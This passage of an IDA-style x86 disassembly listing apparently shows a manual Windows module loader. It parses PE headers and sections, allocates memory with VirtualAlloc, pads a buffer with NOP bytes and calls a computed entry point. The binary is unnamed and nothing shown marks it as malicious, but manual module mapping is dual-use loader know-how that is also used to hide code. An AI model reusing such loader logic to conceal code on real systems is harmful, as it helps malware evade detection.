		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_38]
		lea	eax, [ecx+eax-28h]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+34h]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+38h]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+3Ch]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		lea	eax, [ecx+eax+40h]
		mov	[ebp+var_3C], eax
		jmp	short loc_4195F9
; ---------------------------------------------------------------------------


loc_4195F0:				; CODE XREF: sub_419529:loc_419663j
		mov	eax, [ebp+var_38]
		add	eax, 28h
		mov	[ebp+var_38], eax


loc_4195F9:				; CODE XREF: sub_419529+C5j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_28]
		jnb	short loc_419665
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		push	0
		push	0
		push	[ebp+var_50]
		push	[ebp+arg_0]
		call	sub_41441F
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		push	0
		push	[ebp+var_4C]
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+0Ch]
		push	ecx
		push	[ebp+arg_0]
		call	sub_415175
		test	eax, eax
		jz	short loc_419659
		cmp	[ebp+var_48], 0
		jnz	short loc_419663


loc_419659:				; CODE XREF: sub_419529+128j
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_419663:				; CODE XREF: sub_419529+12Ej
		jmp	short loc_4195F0
; ---------------------------------------------------------------------------


loc_419665:				; CODE XREF: sub_419529+D6j
		mov	eax, [ebp+var_40]
		mov	eax, [eax+34h]
		cmp	eax, [ebp+var_24]
		jz	short loc_419684
		push	[ebp+var_30]
		push	[ebp+var_44]
		push	[ebp+var_40]
		push	[ebp+var_24]
		call	sub_41945C
		add	esp, 10h


loc_419684:				; CODE XREF: sub_419529+145j
		mov	eax, [ebp+var_24]
		add	eax, [ebp+var_34]
		mov	[ebp+var_2C], eax
		push	5Ch
		push	[ebp+arg_4]
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4196AA
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		jmp	short loc_4196B1
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_419529+177j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4196B1:				; CODE XREF: sub_419529+17Fj
		push	1
		push	[ebp+var_20]
		push	[ebp+var_40]
		push	[ebp+var_24]
		push	[ebp+var_2C]
		call	sub_418730
		add	esp, 14h
		mov	eax, ds:dword_4248B4
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jz	short loc_4196E8
		mov	eax, [ebp+var_60]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_64], 1
		jmp	short loc_4196EC
; ---------------------------------------------------------------------------


loc_4196E8:				; CODE XREF: sub_419529+1AAj
		and	[ebp+var_64], 0


loc_4196EC:				; CODE XREF: sub_419529+1BDj
		movzx	eax, [ebp+var_64]
		test	eax, eax
		jz	short loc_41972B
		push	offset sub_41EDE8
		push	ds:dword_424740
		push	[ebp+arg_C]
		push	[ebp+var_20]
		mov	ecx, ds:dword_4248B4
		call	sub_41EC8C
		mov	eax, ds:dword_4248B4
		mov	[ebp+var_68], eax
		cmp	[ebp+var_68], 0
		jz	short loc_41972B
		mov	eax, [ebp+var_68]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection


loc_41972B:				; CODE XREF: sub_419529+1C9j
					; sub_419529+1F3j
		and	[ebp+var_4], 0
		jmp	short loc_419741
; ---------------------------------------------------------------------------


loc_419731:				; DATA XREF: _4:004214A0o
		push	[ebp+var_14]
		call	sub_41C317
		retn
; ---------------------------------------------------------------------------


loc_41973A:				; DATA XREF: _4:004214A4o
		mov	esp, [ebp+var_18]
		and	[ebp+var_4], 0


loc_419741:				; CODE XREF: sub_419529+206j
		jmp	loc_419873
; ---------------------------------------------------------------------------


loc_419746:				; CODE XREF: sub_419529+34j
		cmp	[ebp+arg_10], 0
		jnz	loc_419866
		call	sub_41922D
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], 2
		mov	eax, ds:dword_4248AC
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_419785
		mov	eax, [ebp+var_6C]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_70], 1
		jmp	short loc_419789
; ---------------------------------------------------------------------------


loc_419785:				; CODE XREF: sub_419529+247j
		and	[ebp+var_70], 0


loc_419789:				; CODE XREF: sub_419529+25Aj
		movzx	eax, [ebp+var_70]
		test	eax, eax
		jz	short loc_4197BA
		push	[ebp+arg_C]
		mov	ecx, ds:dword_4248AC
		call	sub_41EBBB
		mov	eax, ds:dword_4248AC
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_4197BA
		mov	eax, [ebp+var_74]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection


loc_4197BA:				; CODE XREF: sub_419529+266j
					; sub_419529+282j
		push	5Ch
		push	[ebp+arg_4]
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_4197D7
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_54], eax
		jmp	short loc_4197DE
; ---------------------------------------------------------------------------


loc_4197D7:				; CODE XREF: sub_419529+2A4j
		mov	eax, [ebp+var_54]
		inc	eax
		mov	[ebp+var_54], eax


loc_4197DE:				; CODE XREF: sub_419529+2ACj
		mov	eax, ds:dword_4248B4
		mov	[ebp+var_78], eax
		cmp	[ebp+var_78], 0
		jz	short loc_4197FF
		mov	eax, [ebp+var_78]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_7C], 1
		jmp	short loc_419803
; ---------------------------------------------------------------------------


loc_4197FF:				; CODE XREF: sub_419529+2C1j
		and	[ebp+var_7C], 0


loc_419803:				; CODE XREF: sub_419529+2D4j
		movzx	eax, [ebp+var_7C]
		test	eax, eax
		jz	short loc_41983F
		push	offset sub_41EDE8
		push	ds:dword_424740
		push	[ebp+var_54]
		mov	ecx, ds:dword_4248B4
		call	sub_41EBDB
		mov	eax, ds:dword_4248B4
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0
		jz	short loc_41983F
		mov	eax, [ebp+var_80]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection


loc_41983F:				; CODE XREF: sub_419529+2E0j
					; sub_419529+307j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5C], eax
		push	[ebp+var_5C]
		call	sub_41BACD
		pop	ecx
		and	[ebp+var_4], 0
		jmp	short loc_419864
; ---------------------------------------------------------------------------


loc_419854:				; DATA XREF: _4:004214ACo
		push	[ebp+var_14]
		call	sub_41C317
		retn
; ---------------------------------------------------------------------------


loc_41985D:				; DATA XREF: _4:004214B0o
		mov	esp, [ebp+var_18]
		and	[ebp+var_4], 0


loc_419864:				; CODE XREF: sub_419529+329j
		jmp	short loc_419873
; ---------------------------------------------------------------------------


loc_419866:				; CODE XREF: sub_419529+221j
		call	sub_41922D
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx


loc_419873:				; CODE XREF: sub_419529:loc_419741j
					; sub_419529:loc_419864j
		cmp	[ebp+arg_8], 0
		jz	short loc_4198CB
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_58], eax
		mov	ds:dword_4248A4, 0FFFFFFFEh
		pushaw
		mov	ds:dword_4248C0, esp
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	[ebp+var_58]
		mov	ds:dword_4248A4, eax
		mov	esp, ds:dword_4248C0
		popaw
		mov	eax, ds:dword_4248A4
		mov	[ebp+var_1C], eax
		mov	ds:dword_4248A4, 0FFFFFFFEh
		cmp	[ebp+var_1C], 0FFFFFFFEh
		jnz	short loc_4198C9
		and	[ebp+var_1C], 0


loc_4198C9:				; CODE XREF: sub_419529+39Aj
		jmp	short loc_4198D2
; ---------------------------------------------------------------------------


loc_4198CB:				; CODE XREF: sub_419529+34Ej
		mov	[ebp+var_1C], 1


loc_4198D2:				; CODE XREF: sub_419529:loc_4198C9j
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_2
		jmp	short loc_4198DE
sub_419529	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419529


loc_4198DE:				; CODE XREF: sub_419529+3B2j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_419529

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198F2	proc near		; CODE XREF: sub_418780+14Cp
					; sub_418780:loc_4188EAp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	ds:dword_4248CC, 0
		setnz	al
		pop	ebp
		retn
sub_4198F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419903	proc near		; CODE XREF: sub_418780:loc_4188DAp
					; sub_419995:loc_41A760p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h


loc_419909:				; CODE XREF: sub_419903+87j
		and	[ebp+var_4], 0
		cmp	ds:dword_4248CC, 0
		jz	short loc_419984
		mov	[ebp+var_8], offset dword_4248CC


loc_41991D:				; CODE XREF: sub_419903:loc_419982j
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_419984
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	1
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_418730
		add	esp, 14h
		movzx	eax, al
		test	eax, eax
		jz	short loc_419977
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	eax, [eax+10h]
		mov	[ecx], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_41BACD
		pop	ecx
		jmp	short loc_419982
; ---------------------------------------------------------------------------


loc_419977:				; CODE XREF: sub_419903+50j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		add	eax, 10h
		mov	[ebp+var_8], eax


loc_419982:				; CODE XREF: sub_419903+72j
		jmp	short loc_41991D
; ---------------------------------------------------------------------------


loc_419984:				; CODE XREF: sub_419903+11j
					; sub_419903+20j
		movzx	eax, [ebp+var_4]
		test	eax, eax
		jnz	loc_419909
		mov	al, [ebp+var_4]
		leave
		retn
sub_419903	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419995	proc near		; CODE XREF: sub_41CA0F+2Fp
					; sub_41E119+1Bp

var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_100		= dword	ptr -100h
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= byte ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041A259 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0041A29B SIZE 000004EE BYTES
; FUNCTION CHUNK AT 0041A822 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4214B8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_120], edx
		mov	[ebp+var_11C], ecx
		or	[ebp+var_3C], 0FFFFFFFFh
		or	[ebp+var_38], 0FFFFFFFFh
		or	[ebp+var_58], 0FFFFFFFFh
		and	[ebp+var_34], 0
		and	[ebp+var_30], 0
		and	[ebp+var_4C], 0
		mov	eax, ds:dword_4248C4
		mov	[ebp+var_48], eax
		and	[ebp+var_1C], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_54], 0
		and	[ebp+var_44], 0
		and	[ebp+var_50], 0
		and	[ebp+var_40], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		and	[ebp+var_5C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	[ebp+var_11C]
		call	ds:dword_424698	; GetModuleHandleA
		test	eax, eax
		jz	short loc_419A52
		push	[ebp+var_11C]
		call	ds:dword_4246DC	; LoadLibraryA
		push	0FFFFFFFFh
		mov	[ebp+var_124], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_124]
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_419A52:				; CODE XREF: sub_419995+91j
		push	[ebp+var_120]
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+var_11C]
		call	sub_4191AB
		add	esp, 0Ch
		mov	[ebp+var_6C], eax
		cmp	ds:dword_4248C4, 0
		jz	short loc_419AD6
		cmp	[ebp+var_6C], 0
		jz	short loc_419AD6
		mov	eax, ds:dword_4248C4
		mov	[ebp+var_74], eax
		jmp	short loc_419A9A
; ---------------------------------------------------------------------------


loc_419A86:				; CODE XREF: sub_419995:loc_419AD4j
		mov	eax, [ebp+var_74]
		mov	eax, [eax+4]
		mov	[ebp+var_74], eax
		mov	eax, ds:dword_4248C8
		inc	eax
		mov	ds:dword_4248C8, eax


loc_419A9A:				; CODE XREF: sub_419995+EFj
		cmp	[ebp+var_74], 0
		jz	short loc_419AD6
		mov	eax, [ebp+var_74]
		mov	eax, [eax]
		cmp	eax, [ebp+var_6C]
		jnz	short loc_419AD4
		mov	eax, ds:dword_4248C8
		inc	eax
		mov	ds:dword_4248C8, eax
		push	0FFFFFFFFh
		and	[ebp+var_128], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_128]
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_419AD4:				; CODE XREF: sub_419995+113j
		jmp	short loc_419A86
; ---------------------------------------------------------------------------


loc_419AD6:				; CODE XREF: sub_419995+DFj
					; sub_419995+E5j ...
		and	ds:dword_4248C8, 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_4C]
		mov	ds:dword_4248C4, eax
		cmp	[ebp+var_6C], 0
		jnz	short loc_419B6D
		push	[ebp+var_120]
		push	0
		push	[ebp+var_11C]
		call	ds:dword_4246D8	; LoadLibraryExA
		mov	[ebp+var_78], eax
		cmp	[ebp+var_78], 0
		jz	short loc_419B2D
		mov	eax, [ebp+var_120]
		and	eax, 2
		test	eax, eax
		jnz	short loc_419B4C
		push	[ebp+var_11C]
		push	[ebp+var_78]
		call	sub_418B30
		test	eax, eax
		jnz	short loc_419B4C


loc_419B2D:				; CODE XREF: sub_419995+177j
		call	ds:dword_424690	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_419B3F
		push	7Eh
		call	ds:dword_42470C	; RtlRestoreLastWin32Error


loc_419B3F:				; CODE XREF: sub_419995+1A0j
		push	[ebp+var_78]
		call	ds:dword_424660	; FreeLibrary
		and	[ebp+var_78], 0


loc_419B4C:				; CODE XREF: sub_419995+184j
					; sub_419995+196j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_78]
		mov	[ebp+var_12C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_12C]
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_419B6D:				; CODE XREF: sub_419995+15Aj
		push	0
		push	0
		push	[ebp+var_6C]
		call	sub_41BF82
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_7C], eax
		cmp	[ebp+var_7C], 0
		jz	short loc_419BB2
		push	0FFFFFFFFh
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_130], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_130]
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_419BB2:				; CODE XREF: sub_419995+1FAj
		mov	eax, [ebp+var_24]
		mov	[ebp+var_80], eax
		jmp	short loc_419BC1
; ---------------------------------------------------------------------------


loc_419BBA:				; CODE XREF: sub_419995:loc_419BDCj
		mov	eax, [ebp+var_80]
		inc	eax
		mov	[ebp+var_80], eax


loc_419BC1:				; CODE XREF: sub_419995+223j
		mov	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_419BDE
		mov	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jnz	short loc_419BDC
		mov	eax, [ebp+var_80]
		mov	byte ptr [eax],	5Ch


loc_419BDC:				; CODE XREF: sub_419995+23Fj
		jmp	short loc_419BBA
; ---------------------------------------------------------------------------


loc_419BDE:				; CODE XREF: sub_419995+234j
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	0
		push	[ebp+var_24]
		call	sub_414344
		test	eax, eax
		jnz	short loc_419C04
		cmp	[ebp+var_3C], 0
		jnz	short loc_419C04
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_419C04:				; CODE XREF: sub_419995+25Dj
					; sub_419995+263j
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_3C]
		call	sub_414670
		push	40h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_E8], eax
		mov	eax, [ebp+var_E8]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	40h
		push	[ebp+var_50]
		push	[ebp+var_3C]
		call	sub_415175
		test	eax, eax
		jz	short loc_419C46
		cmp	[ebp+var_64], 0
		jnz	short loc_419C50


loc_419C46:				; CODE XREF: sub_419995+2A9j
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_419C50:				; CODE XREF: sub_419995+2AFj
		push	0
		push	0
		mov	eax, [ebp+var_50]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_3C]
		call	sub_41441F
		push	0F8h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_EC], eax
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	0F8h
		push	[ebp+var_44]
		push	[ebp+var_3C]
		call	sub_415175
		test	eax, eax
		jz	short loc_419C9E
		cmp	[ebp+var_64], 0
		jnz	short loc_419CA8


loc_419C9E:				; CODE XREF: sub_419995+301j
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_419CA8:				; CODE XREF: sub_419995+307j
		mov	eax, [ebp+var_44]
		cmp	dword ptr [eax], 4550h
		jz	short loc_419CBD
		mov	ecx, 0EF00000Ch
		call	sub_41BA32


loc_419CBD:				; CODE XREF: sub_419995+31Cj
		mov	eax, [ebp+var_44]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_44]
		lea	eax, [ecx+eax+18h]
		sub	eax, [ebp+var_44]
		mov	ecx, [ebp+var_50]
		mov	ecx, [ecx+3Ch]
		add	ecx, eax
		mov	[ebp+var_70], ecx
		mov	eax, [ebp+var_44]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_70]
		add	ecx, eax
		mov	[ebp+var_68], ecx
		push	200h
		mov	eax, [ebp+var_68]
		add	eax, 28h
		push	eax
		call	sub_419437
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_F0]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_34]
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	200h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_F4], eax
		mov	eax, [ebp+var_F4]
		mov	[ebp+var_54], eax
		mov	ecx, 80h
		mov	eax, 90909090h
		mov	edi, [ebp+var_54]
		rep stosd
		push	0
		push	0
		push	0
		push	[ebp+var_3C]
		call	sub_41441F
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	[ebp+var_68]
		push	[ebp+var_1C]
		push	[ebp+var_3C]
		call	sub_415175
		test	eax, eax
		jz	short loc_419D86
		cmp	[ebp+var_64], 0
		jnz	short loc_419D90


loc_419D86:				; CODE XREF: sub_419995+3E9j
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_419D90:				; CODE XREF: sub_419995+3EFj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_98], ecx
		mov	eax, [ebp+var_98]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_98]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8C], eax
		mov	eax, [ebp+var_98]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_8C]
		add	ecx, eax
		mov	[ebp+var_88], ecx
		mov	eax, [ebp+var_98]
		add	eax, 88h
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_98]
		add	eax, 80h
		mov	[ebp+var_84], eax
		mov	eax, [ebp+var_98]
		and	dword ptr [eax+24h], 0
		mov	eax, [ebp+var_98]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_98]
		and	dword ptr [eax+1Ch], 0
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+0A0h]
		mov	[eax+34h], ecx
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+0A4h]
		mov	[eax+38h], ecx
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+80h]
		mov	[eax+3Ch], ecx
		mov	eax, [ebp+var_54]
		add	eax, 40h
		mov	[ebp+var_94], eax
		jmp	short loc_419E67
; ---------------------------------------------------------------------------


loc_419E58:				; CODE XREF: sub_419995:loc_41A317j
		mov	eax, [ebp+var_8C]
		add	eax, 28h
		mov	[ebp+var_8C], eax


loc_419E67:				; CODE XREF: sub_419995+4C1j
		mov	eax, [ebp+var_8C]
		cmp	eax, [ebp+var_88]
		jnb	loc_41A31C
		mov	eax, [ebp+var_94]
		mov	ecx, [ebp+var_8C]
		mov	ecx, [ecx+14h]
		mov	[eax], ecx
		mov	eax, [ebp+var_94]
		add	eax, 4
		mov	[ebp+var_94], eax
		mov	eax, [ebp+var_94]
		mov	ecx, [ebp+var_8C]
		mov	ecx, [ecx+10h]
		mov	[eax], ecx
		mov	eax, [ebp+var_94]
		add	eax, 4
		mov	[ebp+var_94], eax
		cmp	ds:dword_424600, 2
		jnb	loc_419FBD
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+var_90]
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx]
		ja	loc_419FBD
		mov	eax, [ebp+var_8C]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_8C]
		add	eax, [ecx+10h]
		mov	ecx, [ebp+var_90]
		cmp	eax, [ecx]
		jbe	loc_419FBD
		push	200h
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+10h]
		call	sub_419437
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+var_F8]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_98]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+8]
		call	sub_419437
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+20h]
		add	ecx, eax
		mov	eax, [ebp+var_98]
		mov	[eax+20h], ecx
		push	0
		push	0
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+14h]
		push	[ebp+var_3C]
		call	sub_41441F
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+10h]
		push	[ebp+var_2C]
		push	[ebp+var_3C]
		call	sub_415175
		test	eax, eax
		jz	short loc_419F95
		cmp	[ebp+var_64], 0
		jnz	short loc_419F9F


loc_419F95:				; CODE XREF: sub_419995+5F8j
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_419F9F:				; CODE XREF: sub_419995+5FEj
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+var_34]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_8C]
		mov	dword ptr [eax+24h], 0C0000040h
		jmp	loc_41A317
; ---------------------------------------------------------------------------


loc_419FBD:				; CODE XREF: sub_419995+52Bj
					; sub_419995+542j ...
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+var_84]
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx]
		ja	loc_41A29B
		mov	eax, [ebp+var_8C]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_8C]
		add	eax, [ecx+10h]
		mov	ecx, [ebp+var_84]
		cmp	eax, [ecx]
		jbe	loc_41A29B
		and	[ebp+var_A0], 0
		mov	[ebp+var_4], 1
		push	4
		push	1000h
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+10h]
		push	0
		call	ds:dword_424724	; VirtualAlloc
		mov	[ebp+var_A0], eax
		push	0
		push	0
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+14h]
		push	[ebp+var_3C]
		call	sub_41441F
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+10h]
		push	[ebp+var_A0]
		push	[ebp+var_3C]
		call	sub_415175
		test	eax, eax
		jz	short loc_41A05E
		cmp	[ebp+var_64], 0
		jnz	short loc_41A068


loc_41A05E:				; CODE XREF: sub_419995+6C1j
		mov	ecx, 0EF00000Fh
		call	sub_41BA32


loc_41A068:				; CODE XREF: sub_419995+6C7j
